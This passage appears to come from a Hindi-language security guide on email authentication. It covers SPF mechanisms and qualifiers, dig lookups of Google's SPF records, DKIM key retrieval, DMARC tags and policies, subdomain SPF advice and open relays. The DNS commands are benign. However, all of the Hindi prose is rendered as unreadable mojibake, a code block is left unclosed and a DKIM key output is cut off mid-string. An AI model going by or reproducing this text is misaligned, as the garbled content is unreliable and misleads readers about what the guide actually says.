| MX        | рдпрджрд┐ рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдПрдХ MX рд░рд┐рдХреЙрд░реНрдб рд╣реИ рдЬреЛ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдпрд╛рдиреА, рдореЗрд▓ рдбреЛрдореЗрди рдХреЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╕реЗ рдЖрддрд╛ рд╣реИ)ред                                                                                                                                                                          |
| PTR       | рдпрджрд┐ рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкрддреЗ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо (PTR рд░рд┐рдХреЙрд░реНрдб) рджрд┐рдП рдЧрдП рдбреЛрдореЗрди рдореЗрдВ рд╣реИ рдФрд░ рд╡рд╣ рдбреЛрдореЗрди рдирд╛рдо рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ (рдлреЙрд░рд╡рд░реНрдб-рдХрдиреНрдлрд░реНрдореНрдб рд░рд┐рд╡рд░реНрд╕ DNS), рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред рдЗрд╕ рддрдВрддреНрд░ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрднрд╡рддрдГ рдЯрд╛рд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред                                                                                     |
| EXISTS    | рдпрджрд┐ рджрд┐рдП рдЧрдП рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдХреЛрдИ рднреА рдкрддрд╛ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдХреЛрдИ рдлрд░реНрдХ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ рдХрд┐ рдпрд╣ рдХрд┐рд╕ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ)ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдпрдж рд╣реА рдХрднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред SPF рдореИрдХреНрд░реЛ рднрд╛рд╖рд╛ рдХреЗ рд╕рд╛рде рдпрд╣ DNSBL-queries рдЬреИрд╕реА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред                                                                                                                           |
| INCLUDE   | рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЙрд╕ рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдкрд╛рд╕ рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рддрдВрддреНрд░ рдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рд╢рд╛рдорд┐рд▓ рдХреА рдЧрдИ рдиреАрддрд┐ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ, рддреЛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реМрдВрдкрдиреЗ рдХреЗ рд▓рд┐рдП, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред                                                                                     |
| REDIRECT  | <p>рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХ рдЕрдиреНрдп рдбреЛрдореЗрди рдирд╛рдо рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ SPF рдиреАрддрд┐ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдХрдИ рдбреЛрдореЗрди рдХреЛ рд╕рдорд╛рди SPF рдиреАрддрд┐ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдбреЛрдореЗрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕рдорд╛рди рдИрдореЗрд▓ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред</p><p>рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рддрдВрддреНрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдбреЛрдореЗрди рдХреА SPF рдиреАрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред</p> |

рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ **Qualifiers** рдЬреЛ **рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдпрджрд┐ рдХреЛрдИ рддрдВрддреНрд░ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП**ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ "+"** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рддреЛ рдпрджрд┐ рдХреЛрдИ рддрдВрддреНрд░ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИ)ред\
рдЖрдк рдЖрдорддреМрд░ рдкрд░ **рдкреНрд░рддреНрдпреЗрдХ SPF рдиреАрддрд┐ рдХреЗ рдЕрдВрдд рдореЗрдВ** рдХреБрдЫ рдРрд╕рд╛ рдиреЛрдЯ рдХрд░реЗрдВрдЧреЗ: **\~all** рдпрд╛ **-all**ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ **рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдХрд┐рд╕реА рднреА SPF рдиреАрддрд┐ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдИрдореЗрд▓ рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (\~) рдХреЗ рд░реВрдк рдореЗрдВ рдЯреИрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдИрдореЗрд▓ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ (-) рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред**

#### Qualifiers

рдиреАрддрд┐ рдХреЗ рднреАрддрд░ рдкреНрд░рддреНрдпреЗрдХ рддрдВрддреНрд░ рдХреЛ рдЗрдЪреНрдЫрд┐рдд рдкрд░рд┐рдгрд╛рдо рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд╛рд░ рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ рдореЗрдВ рд╕реЗ рдПрдХ рджреНрд╡рд╛рд░рд╛ рдкреВрд░реНрд╡рд╡рд░реНрддреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

* **`+`**: рдПрдХ PASS рдкрд░рд┐рдгрд╛рдо рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рддрдВрддреНрд░ рдЗрд╕ рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ рдХреЛ рдорд╛рдирддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ `+mx` `mx` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
* **`?`**: рдПрдХ NEUTRAL рдкрд░рд┐рдгрд╛рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ NONE (рдХреЛрдИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐ рдирд╣реАрдВ) рдХреЗ рд╕рдорд╛рди рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред
* **`~`**: SOFTFAIL рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬреЛ NEUTRAL рдФрд░ FAIL рдХреЗ рдмреАрдЪ рдПрдХ рдордзреНрдп рднреВрдорд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдИрдореЗрд▓ рдЖрдорддреМрд░ рдкрд░ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЪрд┐рд╣реНрдирд┐рдд рд╣реЛрддреЗ рд╣реИрдВред
* **`-`**: FAIL рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдИрдореЗрд▓ рдХреЛ рд╕реАрдзреЗ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЖрдЧрд╛рдореА рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, **google.com рдХреА SPF рдиреАрддрд┐** рдХреЛ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ SPF рдиреАрддрд┐ рдХреЗ рднреАрддрд░ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рд╕реЗ SPF рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд╛рд╡реЗрд╢ рдиреЛрдЯ рдХрд░реЗрдВ:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

рдкрд░рдВрдкрд░рд╛рдЧрдд рд░реВрдк рд╕реЗ, рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди рдирд╛рдо рдХреЛ рд╕реНрдкреВрдл рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рд╕рд╣реА/рдХреЛрдИ SPF рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рдерд╛ред рдЖрдЬрдХрд▓, рдпрджрд┐ рдИрдореЗрд▓ рдХрд┐рд╕реА рдбреЛрдореЗрди рд╕реЗ рдЖрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдПрдХ рдорд╛рдиреНрдп SPF рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрд╕реНрд╡реАрдХреГрдд/рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдХрд┐рд╕реА рдбреЛрдореЗрди рдХрд╛ SPF рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдСрдирд▓рд╛рдЗрди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдЙрдЯрдмрд╛рдЙрдВрдб рдИрдореЗрд▓ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреЗ рдмрд╛рд╣рд░реА рдореЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдПрдЬреЗрдВрдЯ (MTAs) рджреНрд╡рд╛рд░рд╛ рдбреЛрдореЗрди рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА DNS рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдПрдХ рдбреЛрдореЗрди рдХреЗ TXT рд░рд┐рдХреЙрд░реНрдб рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИред рдЗрд╕ рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдЪрдпрдирдХрд░реНрддрд╛ рдФрд░ рдбреЛрдореЗрди рдирд╛рдо рджреЛрдиреЛрдВ рдХреЛ рдЬрд╛рдирдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреБрдВрдЬреА рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдбреЛрдореЗрди рдирд╛рдо рдФрд░ рдЪрдпрдирдХрд░реНрддрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдореЗрд▓ рд╣реЗрдбрд░ DKIM-Signature рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ, d=gmail.com;s=20120113ред

рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC рдИрдореЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ SPF рдФрд░ DKIM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░рдХреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдпрд╣ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рд╕реЗ рдИрдореЗрд▓ рдХреЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдХрд╛ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░рддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдлрд▓рддрд╛рдУрдВ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдФрд░ рдИрдореЗрд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рднреЗрдЬрдиреЗ рдХреЗ рд╕реНрдерд╛рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

DMARC рд░рд┐рдХреЙрд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЙрдкрдбреЛрдореЗрди _dmarc рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдирд╛ рд╣реЛрдЧрд╛

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC рдЯреИрдЧ

рдЯреИрдЧ рдирд╛рдо рдЙрджреНрджреЗрд╢реНрдп рдЙрджрд╛рд╣рд░рдг
v рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг v=DMARC1
pct рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдЕрдзреАрди рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдкреНрд░рддрд┐рд╢рдд pct=20
ruf рдлреЛрд░реЗрдВрд╕рд┐рдХ рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ URI ruf=mailto:authfail@example.com
rua рд╕рдордЧреНрд░ рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдХрд╛ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ URI rua=mailto:aggrep@example.com
p рд╕рдВрдЧрдардирд╛рддреНрдордХ рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдиреАрддрд┐ p=quarantine
sp OD рдХреЗ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдиреАрддрд┐ sp=reject
adkim DKIM рдХреЗ рд▓рд┐рдП рд╕рдВрд░реЗрдЦрдг рдореЛрдб adkim=s
aspf SPF рдХреЗ рд▓рд┐рдП рд╕рдВрд░реЗрдЦрдг рдореЛрдб aspf=r

рдЙрдкрдбреЛрдореЗрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?

рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣рд╛рдВ.
рдЖрдкрдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧ SPF рд░рд┐рдХреЙрд░реНрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рд╕реЗ рдЖрдк рдореЗрд▓ рднреЗрдЬрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓ рд░реВрдк рд╕реЗ openspf.org рдкрд░ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХреА рдЪреАрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рд╕рдВрд╕рд╛рдзрди рдерд╛ред

рдбреЗрдорди рдкреНрд░рд╢реНрди: рдЙрдкрдбреЛрдореЗрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?

рдпрджрд┐ рдореБрдЭреЗ pielovers.demon.co.uk рд╕реЗ рдореЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИ, рдФрд░ pielovers рдХреЗ рд▓рд┐рдП рдХреЛрдИ SPF рдбреЗрдЯрд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХреНрдпрд╛ рдореБрдЭреЗ рдПрдХ рд╕реНрддрд░ рдкреАрдЫреЗ рдЬрд╛рдХрд░ demon.co.uk рдХреЗ рд▓рд┐рдП SPF рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП? рдирд╣реАрдВред рдбреЗрдорди рдкрд░ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдПрдХ рдЕрд▓рдЧ рдЧреНрд░рд╛рд╣рдХ рд╣реИ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдЧреНрд░рд╛рд╣рдХ рдХреА рдЕрдкрдиреА рдиреАрддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрд╣ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрдПрдЧрд╛ рдХрд┐ рдбреЗрдорди рдХреА рдиреАрддрд┐ рд╕рднреА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛ; рдпрджрд┐ рдбреЗрдорди рдРрд╕рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП SPF рд░рд┐рдХреЙрд░реНрдб рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рд▓рд┐рдП SPF рдкреНрд░рдХрд╛рд╢рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд▓рд╛рд╣ рдпрд╣ рд╣реИ: рдЖрдкрдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдпрд╛ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ SPF рд░рд┐рдХреЙрд░реНрдб рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдореЗрдВ A рдпрд╛ MX рд░рд┐рдХреЙрд░реНрдб рд╣реЛред

рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб A рдпрд╛ MX рд░рд┐рдХреЙрд░реНрдб рд╡рд╛рд▓реЗ рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдкрд╛рд╕ рднреА рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб SPF рд░рд┐рдХреЙрд░реНрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕ рд░реВрдк рдореЗрдВ: * IN TXT "v=spf1 -all"

рдпрд╣ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ - рдПрдХ рдЙрдкрдбреЛрдореЗрди рднреМрдЧреЛрд▓рд┐рдХ рд░реВрдк рд╕реЗ рдЕрд▓рдЧ рд╕реНрдерд╛рди рдкрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ SPF рдкрд░рд┐рднрд╛рд╖рд╛ рдмрд╣реБрдд рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдУрдкрди рд░рд┐рд▓реЗ

рдЬрдм рдИрдореЗрд▓ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рд╕реНрдкреИрдо рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░рд┐рд▓реЗ рд╕рд░реНрд╡рд░ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЪреБрдиреМрддреА рдпрд╣ рд╣реИ рдХрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ рдХреМрди рд╕реЗ IP рд░реЗрдВрдЬ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред рдЗрд╕ рд╕рдордЭ рдХреА рдХрдореА SMTP рд╕рд░реНрд╡рд░ рдХреЛ рд╕реЗрдЯрдЕрдк рдХрд░рдиреЗ рдореЗрдВ рдЧрд▓рддрд┐рдпреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рдиреЛрдВ рдореЗрдВ рдЕрдХреНрд╕рд░ рдкрд╣рдЪрд╛рдиреА рдЬрд╛рддреА рд╣реИред

